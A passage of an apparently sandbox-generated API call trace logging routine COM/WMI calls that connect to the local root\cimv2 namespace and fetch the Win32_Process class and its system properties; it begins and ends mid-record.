ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0134.094] WbemDefPath:IUnknown:Release (This=0x1bc1ac20) returned 0x2 [0134.094] WbemDefPath:IUnknown:Release (This=0x1bc1ac20) returned 0x1 [0134.094] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0134.094] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0134.094] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ac20, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bc1ac20) returned 0x0 [0134.094] WbemDefPath:IUnknown:AddRef (This=0x1bc1ac20) returned 0x3 [0134.094] WbemDefPath:IUnknown:Release (This=0x1bc1ac20) returned 0x2 [0134.094] WbemDefPath:IWbemPath:SetText (This=0x1bc1ac20, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0134.094] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1ac20, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0134.094] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1ac20, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0134.094] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1ac20, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0134.094] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0134.095] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0134.095] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0134.095] IUnknown:Release (This=0x1a943398) returned 0x1 [0134.096] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bc22220) returned 0x0 [0134.096] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc22220, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0134.096] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc22220, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bc22240) returned 0x0 [0134.096] WbemLocator:IUnknown:Release (This=0x1bc22220) returned 0x0 [0134.096] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc22240, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bc22240) returned 0x0 [0134.096] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc22240, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0134.096] WbemLocator:IUnknown:AddRef (This=0x1bc22240) returned 0x3 [0134.096] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc22240, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0134.097] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc22240, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0134.097] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc22240, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0134.097] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0134.097] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0134.097] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc22240, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0134.097] WbemLocator:IUnknown:Release (This=0x1bc22240) returned 0x2 [0134.097] WbemLocator:IUnknown:Release (This=0x1bc22240) returned 0x1 [0134.097] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0134.097] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0134.097] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc22240, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc22240) returned 0x0 [0134.097] WbemLocator:IUnknown:AddRef (This=0x1bc22240) returned 0x3 [0134.097] WbemLocator:IUnknown:Release (This=0x1bc22240) returned 0x2 [0134.097] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1ac20, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0134.097] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1ac20, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0134.097] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1ac20, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0134.097] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bc22260) returned 0x0 [0134.097] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc22260, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bc0c410) returned 0x0 [0134.145] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0c410, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1aa03e20) returned 0x0 [0134.145] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa03e20, pProxy=0x1bc0c410, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0134.145] WbemLocator:IUnknown:Release (This=0x1aa03e20) returned 0x1 [0134.145] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0c410, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1aa03e60) returned 0x0 [0134.145] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0c410, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1aa03e20) returned 0x0 [0134.145] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa03e20, pProxy=0x1bc0c410, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0134.146] WbemLocator:IUnknown:Release (This=0x1aa03e20) returned 0x2 [0134.146] WbemLocator:IUnknown:Release (This=0x1aa03e60) returned 0x1 [0134.146] CoTaskMemFree (pv=0x1bc1b7a0) [0134.146] WbemLocator:IUnknown:AddRef (This=0x1bc0c410) returned 0x2 [0134.146] WbemLocator:IUnknown:Release (This=0x1bc22260) returned 0x0 [0134.146] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0134.147] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0134.147] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0c410, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1aa03e30) returned 0x0 [0134.147] WbemLocator:IRpcOptions:Query (in: This=0x1aa03e30, pPrx=0x1bc222c0, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0134.147] WbemLocator:IUnknown:Release (This=0x1aa03e30) returned 0x2 [0134.147] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0134.147] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0134.147] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0c410, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bc0c410) returned 0x0 [0134.147] WbemLocator:IUnknown:Release (This=0x1bc0c410) returned 0x2 [0134.147] SysStringLen (param_1=0x0) returned 0x0 [0134.147] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1ac20, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0134.147] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1ac20, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0134.147] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1ac20, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0134.147] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a920, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0134.147] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a920, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0134.148] IWbemServices:GetObject (in: This=0x1bc0c410, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bc28660, ppCallResult=0x0) returned 0x0 [0134.151] IWbemClassObject:Get (in: This=0x1bc28660, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0134.152] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0134.152] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0134.152] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0134.152] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0134.152] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0134.152] IUnknown:Release (This=0x1a943398) returned 0x1 [0134.154] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bc22260) returned 0x0 [0134.154] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc22260, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0134.154] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc22260, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bc1ace0) returned 0x0 [0134.155] WbemDefPath:IUnknown:Release (This=0x1bc22260) returned 0x0 [0134.155] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ace0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bc1ace0) returned 0x0 [0134.155] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ace0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0134.155] WbemDefPath:IUnknown:AddRef (This=0x1bc1ace0) returned 0x3 [0134.155] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ace0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0134.155] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ace0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0134.155] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ace0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bc22280) returned 0x0 [0134.155] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc22280, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0134.155] WbemDefPath:IUnknown:Release (This=0x1bc22280) returned 0x3 [0134.155] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0134.156] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0134.156] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ace0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0134.156] WbemDefPath:IUnknown:Release (This=0x1bc1ace0) returned 0x2 [0134.156] WbemDefPath:IUnknown:Release (This=0x1bc1ace0) returned 0x1 [0134.156] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0134.156] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0134.156] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ace0, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc1ace0) returned 0x0 [0134.156] WbemDefPath:IUnknown:AddRef (This=0x1bc1ace0) returned 0x3 [0134.156] WbemDefPath:IUnknown:Release (This=0x1bc1ace0) returned 0x2 [0134.156] WbemDefPath:IWbemPath:SetText (This=0x1bc1ace0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0134.156] IWbemClassObject:Get (in: This=0x1bc28660, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0134.156] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0134.156] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0134.157] IWbemClassObject:Get (in: This=0x1bc28660, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0134.157] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0134.157] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0134.157] IWbemClassObject:Get (in: This=0x1bc28660, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0134.157] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0134.157] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0134.157] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0134.157] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0134.157] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0134.157] IUnknown:Release (This=0x1a943398) returned 0x1 [0134.159] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc22420) returned 0x0 [0134.160] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc22420, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0134.160] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc22420, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc1ada0) returned 0x0 [0134.160] WbemDefPath:IUnknown:Release (This=0x1bc22420) returned 0x0 [0134.160] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ada0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc1ada0) returned 0x0 [0134.160] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ada0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0134.160] WbemDefPath:IUnknown:AddRef (This=0x1bc1ada0) returned 0x3 [0134.160] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ada0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0134.160] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ada0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0134.160] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ada0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: 